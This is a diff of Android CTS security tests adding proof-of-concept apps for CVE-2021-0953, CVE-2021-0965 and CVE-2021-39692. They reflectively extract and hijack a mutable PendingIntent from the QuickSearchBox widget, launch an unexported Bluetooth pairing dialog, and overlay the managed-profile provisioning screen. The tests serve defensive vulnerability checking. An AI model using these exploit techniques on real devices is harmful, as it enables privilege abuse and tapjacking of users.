b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java new file mode 100644 index 00000000000..ee5dac6d122 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java @@ -0,0 +1,100 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_0953; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static org.junit.Assert.assertNotEquals; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeTrue; + +import android.app.Activity; +import android.content.Context; +import android.content.Intent; +import android.os.Bundle; +import android.os.RemoteCallback; + +import androidx.test.runner.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + public static final int TIMEOUT_SEC = 20; + public static final String TEST_PACKAGE = "android.security.cts.CVE_2021_0953"; + + @Test + public void testMutablePendingIntent() { + final Context context = getApplicationContext(); + PocStatus status = new PocStatus(); + CompletableFuture<PocStatus> callbackReturn = new CompletableFuture<>(); + RemoteCallback cb = new RemoteCallback((Bundle result) -> { + PocStatus pocStatus = new PocStatus(); + pocStatus.setErrorMessage( + result.getString(context.getResources().getString(R.string.message_key))); + pocStatus.setStatusCode( + result.getInt(context.getResources().getString(R.string.status_key))); + callbackReturn.complete(pocStatus); + }); + launchActivity(PocActivity.class, cb); // start activity with callback + try { + // blocking while the remotecallback is unset + status = callbackReturn.get(TIMEOUT_SEC, TimeUnit.SECONDS); + } catch (InterruptedException | ExecutionException | TimeoutException e) { + assumeNoException(e); + } + assumeTrue(status.getErrorMessage(), status.getStatusCode() != context.getResources() + .getInteger(R.integer.assumption_failure)); + assertNotEquals(status.getErrorMessage(), status.getStatusCode(), + context.getResources().getInteger(R.integer.fail)); + } + + private void launchActivity(Class<? extends Activity> clazz, RemoteCallback cb) { + final Context context = getApplicationContext(); + final Intent intent = new Intent(Intent.ACTION_MAIN); + intent.setClassName(TEST_PACKAGE, clazz.getName()); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intent.putExtra(context.getResources().getString(R.string.callback_key), cb); + context.startActivity(intent); + } + + private class PocStatus { + private int statusCode; + private String errorMessage; + + public void setStatusCode(int status) { + statusCode = status; + } + + public void setErrorMessage(String message) { + errorMessage = message; + } + + public int getStatusCode() { + return statusCode; + } + + public String getErrorMessage() { + return errorMessage; + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java new file mode 100644 index 00000000000..c28bd75d1b9 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java @@ -0,0 +1,260 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_0953; + +import android.app.Activity; +import android.app.PendingIntent; +import android.appwidget.AppWidgetHost; +import android.appwidget.AppWidgetManager; +import android.content.ComponentName; +import android.content.ActivityNotFoundException; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.content.pm.ResolveInfo; +import android.os.Bundle; +import android.os.IBinder; +import android.os.Parcel; +import android.os.RemoteCallback; +import android.os.RemoteException; +import android.widget.RemoteViews; + +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.BySelector; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.UiObject2; +import androidx.test.uiautomator.Until; +import androidx.test.InstrumentationRegistry; + +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; + +public class PocActivity extends Activity { + public static int APPWIDGET_ID; + public static int REQUEST_BIND_APPWIDGET = 0; + public static final int TIMEOUT_MS = 10000; + + Class mClRemoteViews; + Field mActions, mResponse, mFldPendingIntent; + Method mGetDeclaredField; + Object mObjSetOnClickResponse; + PendingIntent mPendingIntent; + + @Override + public void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_main); + UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation()); + AppWidgetHost appWidgetHost; + AppWidgetManager appWidgetManager; + PocActivity pocActivity = PocActivity.this; + appWidgetManager = AppWidgetManager.getInstance(this); + appWidgetHost = new AppWidgetHost(PocActivity.this.getApplicationContext(), 0); + APPWIDGET_ID = appWidgetHost.allocateAppWidgetId(); + Intent intent = new Intent("android.appwidget.action.APPWIDGET_BIND"); + intent.putExtra("appWidgetId", APPWIDGET_ID); + intent.putExtra("appWidgetProvider", new ComponentName("com.android.quicksearchbox", + "com.android.quicksearchbox.SearchWidgetProvider")); + try { + PocActivity.this.startActivityForResult(intent, REQUEST_BIND_APPWIDGET); + } catch (ActivityNotFoundException e) { + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "Could not start activity"); + return; + } + String settingsPkgName = ""; + PackageManager pm = getPackageManager(); + List<ResolveInfo> ris = pm.queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY); + for (ResolveInfo ri : ris) { + if (ri.activityInfo.name.contains("AllowBindAppWidgetActivity")) { + settingsPkgName = ri.activityInfo.packageName; + } + } + if (settingsPkgName.equals("")) { + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "Settings package not found/AllowBindAppWidgetActivity not found"); + return; + } + if (!device.wait(Until.hasObject(By.pkg(settingsPkgName)), TIMEOUT_MS)) { + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "Unable to start AllowBindAppWidgetActivity"); + return; + } + boolean buttonClicked = false; + BySelector selector = By.clickable(true); + List<UiObject2> objects = device.findObjects(selector); + for (UiObject2 object : objects) { + String objectText = object.getText(); + String objectClass = object.getClassName(); + if (objectText == null) { + continue; + } + if (objectText.equalsIgnoreCase("CREATE")) { + object.click(); + buttonClicked = true; + break; + } + } + if (!device.wait(Until.gone(By.pkg(settingsPkgName)), TIMEOUT_MS) || !buttonClicked) { + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "'Create' button not found/clicked"); + return; + } + } + + @Override + public void onActivityResult(int requestCode, int resultCode, Intent data) { + super.onActivityResult(requestCode, resultCode, data); + PocActivity pocActivity = PocActivity.this; + if (requestCode == REQUEST_BIND_APPWIDGET) { + if (resultCode == -1) { + APPWIDGET_ID = data.getIntExtra("appWidgetId", APPWIDGET_ID); + } + } + RemoteViews remoteViews = + pocActivity.callBinder(pocActivity.getPackageName(), APPWIDGET_ID); + if (remoteViews == null) { + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "remoteViews is null as callBinder() failed"); + return; + } + try { + mClRemoteViews = Class.forName("android.widget.RemoteViews"); + } catch (ClassNotFoundException e) { + e.printStackTrace(); + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "Class android.widget.RemoteViews not found"); + return; + } + Class[] rvSubClasses = mClRemoteViews.getDeclaredClasses(); + Class clSetOnClickResponse = null; + Class clRemoteResponse = null; + for (Class c : rvSubClasses) { + if (c.getCanonicalName().equals("android.widget.RemoteViews.SetOnClickResponse")) { + clSetOnClickResponse = c; + } + if (c.getCanonicalName().equals("android.widget.RemoteViews.RemoteResponse")) { + clRemoteResponse = c; + } + } + try { + mActions = mClRemoteViews.getDeclaredField("mActions"); + } catch (NoSuchFieldException e) { + e.printStackTrace(); + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "mActions field not found"); + return; + } + mActions.setAccessible(true); + try { + mObjSetOnClickResponse = ((ArrayList) mActions.get(remoteViews)).get(1); + mGetDeclaredField = Class.class.getDeclaredMethod("getDeclaredField", String.class); + mResponse = (Field) mGetDeclaredField.invoke(clSetOnClickResponse, "mResponse"); + } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException e) { + e.printStackTrace(); + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "mResponse field not found"); + return; + } + mResponse.setAccessible(true); + try { + mFldPendingIntent = + (Field) mGetDeclaredField.invoke(clRemoteResponse, "mPendingIntent"); + } catch (IllegalAccessException | InvocationTargetException e) { + e.printStackTrace(); + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "mPendingIntent field not found"); + return; + } + mFldPendingIntent.setAccessible(true); + try { + mPendingIntent = (PendingIntent) mFldPendingIntent + .get((RemoteViews.RemoteResponse) mResponse.get(mObjSetOnClickResponse)); + } catch (IllegalAccessException e) { + e.printStackTrace(); + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "Unable to get PendingIntent"); + return; + } + Intent spuriousIntent = new Intent(PocActivity.this, PocVulnerableActivity.class); + spuriousIntent.setPackage(getApplicationContext().getPackageName()); + spuriousIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + try { + mPendingIntent.send(getApplicationContext(), 0, spuriousIntent, null, null); + } catch (PendingIntent.CanceledException e) { + // this is expected when vulnerability is not present and hence return + sendTestResult(getResources().getInteger(R.integer.pass), "Pass"); + return; + } + sendTestResult(getResources().getInteger(R.integer.fail), + "Device is vulnerable to b/184046278!!" + + " Mutable PendingIntent in QuickSearchBox widget"); + } + + private IBinder getService(String service) { + try { + Class clServiceManager = Class.forName("android.os.ServiceManager"); + Method mtGetService = clServiceManager.getMethod("getService", String.class); + return (IBinder) mtGetService.invoke(null, service); + } catch (ClassNotFoundException | NoSuchMethodException | IllegalAccessException + | InvocationTargetException e) { + e.printStackTrace(); + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "Failed to invoke android.os.ServiceManager service"); + return null; + } + } + + private RemoteViews callBinder(String callingPackage, int appWidgetId) { + String INTERFACE_DESCRIPTOR = "com.android.internal.appwidget.IAppWidgetService"; + int GET_APP_WIDGET_VIEWS = 7; + Parcel data = Parcel.obtain(); + Parcel reply = Parcel.obtain(); + RemoteViews remoteViews = null; + IBinder service = getService("appwidget"); + if (service != null) { + data.writeInterfaceToken(INTERFACE_DESCRIPTOR); + data.writeString(callingPackage); + data.writeInt(appWidgetId); + try { + service.transact(GET_APP_WIDGET_VIEWS, data, reply, 0); + } catch (RemoteException e) { + e.printStackTrace(); + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "service.transact() failed due to RemoteException"); + return null; + } + reply.readException(); + if (reply.readInt() != 0) { + remoteViews = (RemoteViews) RemoteViews.CREATOR.createFromParcel(reply); + } + } + return remoteViews; + } + + private void sendTestResult(int statusCode, String errorMessage) { + RemoteCallback cb = + (RemoteCallback) getIntent().getExtras().get(getString(R.string.callback_key)); + Bundle res = new Bundle(); + res.putString(getString(R.string.message_key), errorMessage); + res.putInt(getString(R.string.status_key), statusCode); + finish(); + cb.sendResult(res); // update callback in test + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java new file mode 100644 index 00000000000..b99ba9dc3e9 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java @@ -0,0 +1,27 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_0953; + +import android.app.Activity; +import android.os.Bundle; + +public class PocVulnerableActivity extends Activity { + public void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.vulnerable_activity_main); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp index ab1f6278b4f..6f672e031e0 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp @@ -33,5 +33,5 @@ android_test_helper_app { "androidx.test.rules", "androidx.test.uiautomator_uiautomator", ], - sdk_version: "current", + platform_apis: true, } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java index e709d0a8044..46f16135532 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java @@ -18,9 +18,20 @@ package android.security.cts.CVE_2021_0965; import static androidx.test.core.app.ApplicationProvider.getApplicationContext; import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; +import static org.junit.Assert.fail; +import static org.junit.Assume.assumeNoException; + +import android.app.UiAutomation; import android.content.Intent; +import android.content.pm.PackageManager; +import android.content.pm.ResolveInfo; +import android.os.UserHandle; +import android.provider.Settings; + +import androidx.test.InstrumentationRegistry; import androidx.test.runner.AndroidJUnit4; import androidx.test.uiautomator.UiDevice; + import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; @@ -34,23 +45,64 @@ public class DeviceTest { try { device.wakeUp(); } catch (Exception e) { + e.printStackTrace(); + assumeNoException(e); } device.pressHome(); } + private String getSettingsPkgName() { + PackageManager mgr = getInstrumentation().getTargetContext().getPackageManager(); + UiAutomation ui = getInstrumentation().getUiAutomation(); + String name = "com.android.settings"; + try { + ui.adoptShellPermissionIdentity(android.Manifest.permission.INTERACT_ACROSS_USERS); + ResolveInfo info = mgr.resolveActivityAsUser(new Intent(Settings.ACTION_SETTINGS), + PackageManager.MATCH_SYSTEM_ONLY, UserHandle.USER_SYSTEM); + if (info != null && info.activityInfo != null) { + name = info.activityInfo.packageName; + } + } catch (Exception e) { + e.printStackTrace(); + assumeNoException(e); + } finally { + ui.dropShellPermissionIdentity(); + } + return name; + } + + private boolean hasFeature(String feature) { + return InstrumentationRegistry.getContext().getPackageManager().hasSystemFeature(feature); + } + + private boolean isTV() { + return hasFeature(PackageManager.FEATURE_LEANBACK); + } + @Test public void testPermission() { + String pkg = getSettingsPkgName(); + String cls = ""; + if (isTV()) { + cls = ".accessories.BluetoothPairingDialog"; + } else { + cls = ".bluetooth.BluetoothPairingDialog"; + } + try { Intent intent = new Intent(Intent.ACTION_MAIN); - intent.setClassName("com.android.settings", - "com.android.settings.bluetooth.BluetoothPairingDialog"); + intent.setClassName(pkg, pkg + cls); intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); getApplicationContext().startActivity(intent); - } catch (SecurityException e) { - return; + } catch (Exception ex) { + ex.printStackTrace(); + if (ex instanceof SecurityException) { + return; + } + assumeNoException(ex); } /* If SecurityException is not thrown, it indicates absence of fix */ - throw new RuntimeException("Vulnerable to b/194300867 !!"); + fail("Vulnerable to b/194300867 !!"); } } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/Android.bp new file mode 100644 index 00000000000..602c426190f --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/Android.bp @@ -0,0 +1,35 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CVE-2021-39692", + defaults: ["cts_support_defaults"], + srcs: ["src/**/*.java"], + test_suites: [ + "sts", + ], + static_libs: [ + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + "androidx.test.core", + ], + sdk_version: "current", +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/AndroidManifest.xml new file mode 100644 index 00000000000..459d99233f2 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/AndroidManifest.xml @@ -0,0 +1,58 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright (C) 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +--> +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.CVE_2021_39692"> + + <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" /> + + <application + android:testOnly="false" + android:allowBackup="true" + android:label="CVE-2021-39692"> + <uses-library android:name="android.test.runner" /> + <activity android:name=".PocActivity" + android:enabled="true" + android:exported="true"> + <intent-filter> + <action android:name="android.intent.action.MAIN" /> + <category android:name="android.intent.category.LAUNCHER" /> + </intent-filter> + </activity> + + <service android:name=".PocService" + android:enabled="true" + android:exported="false" /> + + <receiver android:name=".PocDeviceAdminReceiver" + android:permission="android.permission.BIND_DEVICE_ADMIN" + android:exported="true"> + <meta-data + android:name="android.app.device_admin" + android:resource="@xml/device_admin_receiver"/> + <intent-filter> + <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" /> + <action android:name="android.intent.action.BOOT_COMPLETED" /> + <action android:name="android.app.action.PROFILE_OWNER_CHANGED" /> + <action android:name="android.app.action.DEVICE_OWNER_CHANGED" /> + </intent-filter> + </receiver> + </application> + + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.CVE_2021_39692" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml new file mode 100644 index 00000000000..cf041ca29d4 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml @@ -0,0 +1,31 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright (C) 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +--> +<resources> + <string name="activityNotStartedException">Unable to start the %1$s</string> + <string name="activityNotFoundMsg">The activity with intent %1$s was not found</string> + <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string> + <string name="dumpsysActivityCmd">dumpsys activity %1$s</string> + <string name="dumpsysActivityException">Could not execute dumpsys activity command</string> + <string name="overlayErrorMessage">Device is vulnerable to b/209611539 hence any app with + "SYSTEM_ALERT_WINDOW can overlay the %1$s screen</string> + <string name="mResumedTrue">mResumed=true</string> + <string name="overlayButtonText">OverlayButton</string> + <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string> + <string name="testPkg">android.security.cts.CVE_2021_39692</string> + <string name="vulActivityNotRunningError">The %1$s is not currently running on the device + </string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/xml/device_admin_receiver.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/xml/device_admin_receiver.xml new file mode 100644 index 00000000000..af74d3bebb6 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/xml/device_admin_receiver.xml @@ -0,0 +1,30 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright (C) 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +--> +<device-admin> + <support-transfer-ownership/> + <uses-policies> + <limit-password/> + <watch-login/> + <reset-password/> + <force-lock/> + <wipe-data/> + <expire-password/> + <encrypted-storage/> + <disable-camera/> + <disable-keyguard-features/> + </uses-policies> +</device-admin> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java new file mode 100644 index 00000000000..e2f6196e4d5 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java @@ -0,0 +1,127 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39692; + +import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE; +import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME; +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeTrue; + +import android.content.ActivityNotFoundException; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.content.pm.ResolveInfo; +import android.provider.Settings; + +import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.Until; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.io.IOException; +import java.util.regex.Pattern; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + + private void startOverlayService() { + Context context = getApplicationContext(); + assertNotNull(context); + Intent intent = new Intent(context, PocService.class); + + assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg), + Settings.canDrawOverlays(getApplicationContext())); + try { + context.startService(intent); + } catch (Exception e) { + assumeNoException( + context.getString(R.string.activityNotStartedException, "overlay service"), e); + } + } + + private void startVulnerableActivity() { + Context context = getApplicationContext(); + Intent intent = new Intent(context, PocActivity.class); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + try { + context.startActivity(intent); + } catch (ActivityNotFoundException e) { + assumeNoException( + context.getString(R.string.activityNotStartedException, "PocActivity"), e); + } + } + + @Test + public void testOverlayButtonPresence() { + UiDevice mDevice = UiDevice.getInstance(getInstrumentation()); + + /* Start the overlay service */ + startOverlayService(); + + /* Wait for the overlay window */ + Context context = getApplicationContext(); + Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText), + Pattern.CASE_INSENSITIVE); + final int launchTimeoutMs = 20000; + assumeTrue(context.getString(R.string.overlayUiScreenError), + mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), launchTimeoutMs)); + + /* Start the vulnerable activity */ + startVulnerableActivity(); + + /* Wait until the object of launcher activity is gone */ + boolean overlayDisallowed = false; + if (mDevice.wait(Until.gone(By.pkg(context.getString(R.string.testPkg))), + launchTimeoutMs)) { + overlayDisallowed = true; + } + + Intent intent = new Intent(ACTION_PROVISION_MANAGED_PROFILE); + intent.putExtra(EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME, + new ComponentName(context, PocDeviceAdminReceiver.class)); + PackageManager pm = context.getPackageManager(); + ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY); + assumeTrue(context.getString(R.string.activityNotFoundMsg, intent), ri != null); + String testVulnerableActivity = ri.activityInfo.name; + + /* Check if the currently running activity is the vulnerable activity */ + String activityDump = ""; + try { + activityDump = mDevice.executeShellCommand( + context.getString(R.string.dumpsysActivityCmd, testVulnerableActivity)); + } catch (IOException e) { + assumeNoException(context.getString(R.string.dumpsysActivityException), e); + } + Pattern activityPattern = + Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE); + assumeTrue(context.getString(R.string.vulActivityNotRunningError, testVulnerableActivity), + activityPattern.matcher(activityDump).find()); + + /* Failing the test as fix is not present */ + assertTrue(context.getString(R.string.overlayErrorMessage, testVulnerableActivity), + overlayDisallowed); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java new file mode 100644 index 00000000000..89a7d931479 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java @@ -0,0 +1,57 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39692; + +import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE; +import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeTrue; + +import android.app.Activity; +import android.content.ActivityNotFoundException; +import android.content.ComponentName; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.content.pm.ResolveInfo; +import android.os.Bundle; + +public class PocActivity extends Activity { + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + Intent intent = new Intent(ACTION_PROVISION_MANAGED_PROFILE); + intent.putExtra(EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME, + new ComponentName(getApplicationContext(), PocDeviceAdminReceiver.class)); + PackageManager pm = getPackageManager(); + ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY); + assumeTrue(getString(R.string.activityNotFoundMsg, intent), ri != null); + try { + startActivityForResult(intent, 1); + } catch (ActivityNotFoundException e) { + assumeNoException(getString(R.string.activityNotFoundMsg, intent), e); + } + } + + @Override + public void onActivityResult(int requestCode, int resultCode, Intent data) { + if (resultCode == Activity.RESULT_OK) { + this.setResult(Activity.RESULT_OK); + this.finish(); + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocDeviceAdminReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocDeviceAdminReceiver.java new file mode 100644 index 00000000000..455aa03141c --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocDeviceAdminReceiver.java @@ -0,0 +1,29 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39692; + +import android.app.admin.DeviceAdminReceiver; +import android.content.Context; +import android.content.Intent; + +public class PocDeviceAdminReceiver extends DeviceAdminReceiver 